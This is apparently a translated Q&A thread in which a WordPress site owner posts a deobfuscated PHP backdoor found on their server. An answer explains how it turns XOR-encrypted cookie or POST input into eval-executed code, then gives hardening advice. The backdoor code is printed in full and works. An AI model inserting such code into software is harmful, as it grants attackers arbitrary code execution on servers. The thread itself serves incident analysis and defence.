Php 这个(病毒?)代码做什么?

Php 这个(病毒?)代码做什么?,php,wordpress,virus,Php,Wordpress,Virus,我在WordPress网站的公共html文件夹中发现了一些我没有编写的代码。经过一点努力,我能够让它进入一种可读的状态,但它的功能我仍然无法理解。有谁能告诉我这段代码应该做什么 如果有帮助的话,它还用这段代码覆盖了我的index.php文件,并且有几个对奇怪的.ico文件的引用 foreach (array_merge($_COOKIE, $_POST) as $key => $value) { function fun1($key, $valueLength) {

我在WordPress网站的公共html文件夹中发现了一些我没有编写的代码。经过一点努力,我能够让它进入一种可读的状态,但它的功能我仍然无法理解。有谁能告诉我这段代码应该做什么

如果有帮助的话,它还用这段代码覆盖了我的index.php文件,并且有几个对奇怪的.ico文件的引用

foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
    function fun1($key, $valueLength)
    {
        $keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
        $repeatTimes = ($valueLength / strlen($key)) + 1;

        return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
    }

    function packToHex($inputToPack)
    {
        return @pack("H*", $inputToPack);
    }

    function fun3($exploded)
    {
        $modCount = count($exploded) % 3;
        if (!$modCount) {
            eval($exploded[1]($exploded[2]));
            exit();
        }
    }

    $value = packToHex($value);
    $bitwiseXor = $value ^ fun1($key, strlen($value));
    $exploded = explode("#", $bitwiseXor);
    fun3($exploded);
}

简短回答:它是后门,允许在服务器端执行任意代码

注意:您需要看到的只是它具有
eval
,并从用户处获取输入

什么是任意代码?他们想要什么都行


长答覆:

它将从
$\u COOKIE
$\u POST
获取数据,如您所见。此数据来自用户。我们可以推断,该代码是为malicius用户接收数据而设计的(malicius用户将直接发送数据,或者通过bot发送数据)

这数据给了什么剂量?好吧,它将一个接一个地覆盖所有输入,并尝试:

  • $value=packToHex($value)将其解释为十六进制字符串,并将其转换为二进制表示形式。如果不是十六进制字符串,则自动失败
  • $bitwiseXor=$value^fun1($key,strlen($value))对其应用廉价密码。这是一种符号替换密码,它取决于
    $key
    和硬编码guid
    49d339b2-3813-478a-bfa1-1d75be92cf49
    。我们可以确定注入此代码的人知道guid以及如何对其进行加密(这是完全相同的代码)
  • $spolded=explode(“#”),$bitwiseXor)
    然后我们用字符
    “#”
    分隔结果
  • fun3($exploded)将其解释为代码(请参见
    [eval][1]
  • 如果全部成功(意味着来自用户的输入触发了这个过程),那么它将退出,这样它的执行流就永远不会到达您的代码

现在,有人在服务器上注入了这段代码。他们是怎么做到的?我不知道

我的第一个猜测是,你有一些漏洞,允许他们上传PHP代码(也许你有一个文件上传功能,它会很幸运地获取PHP文件,并将它们放在一个用户可以让服务器运行它们的路径中)

当然,还有其他可能性。。。他们可能已经用暴力强迫登录到您的ftp或管理员登录,或者其他允许他们注入代码的东西。或者,您可能正在运行一些易受攻击的软件(例如,过时或配置不当的WordPress或插件)。也许您下载并使用了一些库或插件,这些库或插件不支持watherver,但受到恶意软件的危害(已经有案例)。或者你在任何地方都在使用与你的电子邮件相同的密钥,并且它从其他一些易受攻击的站点泄漏。。。或者,这是由与您合作并拥有合法访问权限的人完成的,或者完全由其他人完成的

我想说的是。。。请务必从服务器上删除该代码,但要知道,您的服务器通过其他方式易受攻击,否则它一开始就不会受到攻击。我会假设不管是谁做的,都在那里,最终可能会注意到你把它取下来并再次危害你的服务器(附录:事实上,如果它不在那里,你的服务器中可能会有其他代码将它放回去)

所以去掩护你所有的基地。更改密码(并使用强密码)。使用https。正确配置服务器。使您的软件保持最新

如果您有自定义PHP代码:验证所有输入(包括文件上载)。清理您将发送回用户的任何内容。使用准备好的句子。避免可疑的第三方代码,不要在不理解的情况下复制和粘贴(我知道你可以在不真正理解它的工作原理的情况下做很多事情,但是当它失败时,你真的需要知识)

增编:

  • 如果可以,请自动更新和备份
  • 是的,WordPress有一些安全插件,这些插件可以大大提高其安全性。但是,您总是可以错误地配置它们